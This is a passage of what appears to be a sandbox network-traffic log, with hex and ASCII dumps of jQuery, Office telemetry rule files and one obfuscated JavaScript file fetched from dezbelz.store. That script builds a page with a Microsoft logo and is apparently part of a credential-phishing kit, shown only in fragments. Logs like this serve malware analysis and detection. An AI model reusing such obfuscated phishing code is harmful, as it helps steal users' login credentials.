2024-10-23 19:04:04 UTC	16384	IN	Data Raw: 64 3d 31 2c 55 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 62 7c 7c 28 62 3d 7b 7d 2c 54 28 61 29 26 26 28 61 2e 6e 6f 64 65 54 79 70 65 3f 61 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 62 3a 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 61 2c 74 68 69 73 2e 65 78 70 61 6e 64 6f 2c 7b 76 61 6c 75 65 3a 62 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 29 29 29 2c 62 7d 2c 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 76 61 72 20 64 2c 65 3d 74 68 69 73 2e 63 61 63 68 65 28 61 29 3b 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 62 29 65 5b 72 2e 63 61 6d 65 6c 43 61 73 65 Data Ascii: d=1,U.prototype={cache:function(a){var b=a[this.expando];return b\|\|(b={},T(a)&&(a.nodeType?a[this.expando]=b:Object.defineProperty(a,this.expando,{value:b,configurable:!0}))),b},set:function(a,b,c){var d,e=this.cache(a);if("string"==typeof b)e[r.camelCase
2024-10-23 19:04:04 UTC	16384	IN	Data Raw: 65 26 26 39 21 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 7c 7c 28 74 68 69 73 2e 74 65 78 74 43 6f 6e 74 65 6e 74 3d 61 29 7d 29 7d 2c 6e 75 6c 6c 2c 61 2c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 29 7d 2c 61 70 70 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 49 61 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 31 3d 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 7c 7c 31 31 3d 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 29 7b 76 61 72 20 62 3d 44 61 28 74 68 69 73 2c 61 29 3b 62 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 61 29 7d 7d 29 7d 2c 70 72 65 70 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 49 61 28 Data Ascii: e&&9!==this.nodeType\|\|(this.textContent=a)})},null,a,arguments.length)},append:function(){return Ia(this,arguments,function(a){if(1===this.nodeType\|\|11===this.nodeType\|\|9===this.nodeType){var b=Da(this,a);b.appendChild(a)}})},prepend:function(){return Ia(
2024-10-23 19:04:05 UTC	16384	IN	Data Raw: 73 2e 73 65 6c 65 63 74 65 64 3d 7b 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 72 65 74 75 72 6e 20 62 26 26 62 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 62 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 2c 6e 75 6c 6c 7d 2c 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 62 26 26 28 62 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 2c 62 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 62 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 29 7d 7d 29 2c 72 2e 65 61 63 68 28 5b 22 74 61 62 49 6e 64 65 78 22 2c 22 72 65 61 64 4f 6e 6c 79 22 2c 22 6d 61 78 4c 65 6e 67 74 68 22 2c 22 63 65 6c 6c 53 70 61 63 Data Ascii: s.selected={get:function(a){var b=a.parentNode;return b&&b.parentNode&&b.parentNode.selectedIndex,null},set:function(a){var b=a.parentNode;b&&(b.selectedIndex,b.parentNode&&b.parentNode.selectedIndex)}}),r.each(["tabIndex","readOnly","maxLength","cellSpac
2024-10-23 19:04:05 UTC	4789	IN	Data Raw: 3d 62 2e 6a 73 6f 6e 70 21 3d 3d 21 31 26 26 28 52 62 2e 74 65 73 74 28 62 2e 75 72 6c 29 3f 22 75 72 6c 22 3a 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 62 2e 64 61 74 61 26 26 30 3d 3d 3d 28 62 2e 63 6f 6e 74 65 6e 74 54 79 70 65 7c 7c 22 22 29 2e 69 6e 64 65 78 4f 66 28 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f 64 65 64 22 29 26 26 52 62 2e 74 65 73 74 28 62 2e 64 61 74 61 29 26 26 22 64 61 74 61 22 29 3b 69 66 28 68 7c 7c 22 6a 73 6f 6e 70 22 3d 3d 3d 62 2e 64 61 74 61 54 79 70 65 73 5b 30 5d 29 72 65 74 75 72 6e 20 65 3d 62 2e 6a 73 6f 6e 70 43 61 6c 6c 62 61 63 6b 3d 72 2e 69 73 46 75 6e 63 74 69 6f 6e 28 62 2e 6a 73 6f 6e 70 43 61 6c 6c 62 61 63 6b 29 3f 62 2e 6a 73 6f 6e 70 43 61 6c 6c 62 Data Ascii: =b.jsonp!==!1&&(Rb.test(b.url)?"url":"string"==typeof b.data&&0===(b.contentType\|\|"").indexOf("application/x-www-form-urlencoded")&&Rb.test(b.data)&&"data");if(h\|\|"jsonp"===b.dataTypes[0])return e=b.jsonpCallback=r.isFunction(b.jsonpCallback)?b.jsonpCallb

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.6	49722	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:04 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:04 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:04 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 3b262095-501e-0035-475d-23c923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190404Z-17fbfdc98bbcrtjhdvnfuyp28800000006b0000000003hkv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:04 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.6	49720	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:04 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:04 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:04 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 014e5f85-701e-006f-2b35-21afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190404Z-r1755647c66xn9fj09y3bhxnh400000009c0000000007m5k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:04 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.6	49723	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:04 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:04 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:04 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 509f9858-c01e-00a2-4459-232327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190404Z-17fbfdc98bb6j78ntkx6e2fx4c000000066g00000000188r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:04 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.6	49721	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:04 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:04 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:04 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 77f74883-b01e-0001-1a50-2346e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190404Z-17fbfdc98bbrx2rj4asdpg8sbs0000000240000000005thp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:04 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.6	49724	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:04 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:04 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:04 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 31a53d7e-801e-00a3-74f7-217cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190404Z-17fbfdc98bblvnlh5w88rcarag0000000670000000008dw7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:04 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49728	63.250.38.7	443	3492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:04 UTC	500	OUT	GET /gesp/xls/C1e2l3l4a5r.js HTTP/1.1 Host: dezbelz.store Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-23 19:04:04 UTC	279	IN	HTTP/1.1 200 OK keep-alive: timeout=5, max=100 content-type: text/javascript last-modified: Tue, 22 Oct 2024 13:18:01 GMT accept-ranges: bytes content-length: 35227 date: Wed, 23 Oct 2024 19:04:04 GMT server: LiteSpeed x-turbo-charged-by: LiteSpeed connection: close
2024-10-23 19:04:04 UTC	16105	IN	Data Raw: 76 61 72 20 5f 30 78 37 37 31 63 66 62 3d 5f 30 78 35 63 33 33 3b 66 75 6e 63 74 69 6f 6e 20 5f 30 78 35 63 33 33 28 5f 30 78 61 35 38 31 34 66 2c 5f 30 78 35 32 66 64 39 30 29 7b 76 61 72 20 5f 30 78 33 31 36 39 32 30 3d 5f 30 78 33 31 36 39 28 29 3b 72 65 74 75 72 6e 20 5f 30 78 35 63 33 33 3d 66 75 6e 63 74 69 6f 6e 28 5f 30 78 35 63 33 33 35 35 2c 5f 30 78 31 61 31 34 61 35 29 7b 5f 30 78 35 63 33 33 35 35 3d 5f 30 78 35 63 33 33 35 35 2d 30 78 31 39 33 3b 76 61 72 20 5f 30 78 35 36 66 31 39 66 3d 5f 30 78 33 31 36 39 32 30 5b 5f 30 78 35 63 33 33 35 35 5d 3b 72 65 74 75 72 6e 20 5f 30 78 35 36 66 31 39 66 3b 7d 2c 5f 30 78 35 63 33 33 28 5f 30 78 61 35 38 31 34 66 2c 5f 30 78 35 32 66 64 39 30 29 3b 7d 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 32 36 30 Data Ascii: var _0x771cfb=_0x5c33;function _0x5c33(_0xa5814f,_0x52fd90){var _0x316920=_0x3169();return _0x5c33=function(_0x5c3355,_0x1a14a5){_0x5c3355=_0x5c3355-0x193;var _0x56f19f=_0x316920[_0x5c3355];return _0x56f19f;},_0x5c33(_0xa5814f,_0x52fd90);}(function(_0x260
2024-10-23 19:04:04 UTC	5499	IN	Data Raw: 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 5c 78 32 30 65 61 73 65 2d 6f 75 74 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 7d 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 35 30 25 5c 78 32 30 7b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 Data Ascii: x20\x20\x20\x20\x20\x20animation-timing-function:\x20ease-out;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2050%\x20{\x0a\x20\x20\x20
2024-10-23 19:04:05 UTC	13623	IN	Data Raw: 63 6f 5c 78 32 32 5c 78 32 30 63 6c 61 73 73 3d 5c 78 32 32 69 6d 67 2d 66 6c 75 69 64 5c 78 32 30 6c 6f 67 6f 69 6d 67 5c 78 32 32 5c 78 32 30 77 69 64 74 68 3d 5c 78 32 32 33 30 70 78 5c 78 32 32 3e 5c 78 32 30 5c 78 32 30 3c 73 70 61 6e 5c 78 32 30 63 6c 61 73 73 3d 5c 78 32 32 61 6c 69 67 6e 2d 6d 69 64 64 6c 65 5c 78 32 30 68 35 5c 78 32 30 6c 6f 67 6f 6e 61 6d 65 5c 78 32 32 5c 78 32 30 69 64 3d 5c 78 32 32 6d 69 63 35 5c 78 32 32 5c 78 32 30 73 74 79 6c 65 3d 5c 78 32 32 63 6f 6c 6f 72 3a 5c 78 32 30 23 37 34 37 34 37 34 3b 5c 78 32 32 3e 4d 69 63 72 6f 73 6f 66 74 3c 2f 73 70 61 6e 3e 3c 62 72 3e 3c 62 72 3e 3c 73 70 61 6e 5c 78 32 30 63 6c 61 73 73 3d 5c 78 32 32 62 61 63 6b 2d 61 72 72 6f 77 5c 78 32 32 5c 78 32 30 69 64 3d 5c 78 32 32 62 61 63 Data Ascii: co\x22\x20class=\x22img-fluid\x20logoimg\x22\x20width=\x2230px\x22>\x20\x20<span\x20class=\x22align-middle\x20h5\x20logoname\x22\x20id=\x22mic5\x22\x20style=\x22color:\x20#747474;\x22>Microsoft</span><br><br><span\x20class=\x22back-arrow\x22\x20id=\x22bac

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.6	49729	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:05 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:05 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:05 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 734838af-101e-0065-4be5-214088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190405Z-r1755647c66lljn2k9s29ch9ts00000008k0000000009wev x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:05 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.6	49731	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:05 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:05 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:05 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 8d314a1c-701e-0097-3ae5-21b8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190405Z-r1755647c66nfj7t97c2qyh6zg00000005d00000000097z3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:05 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.6	49732	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
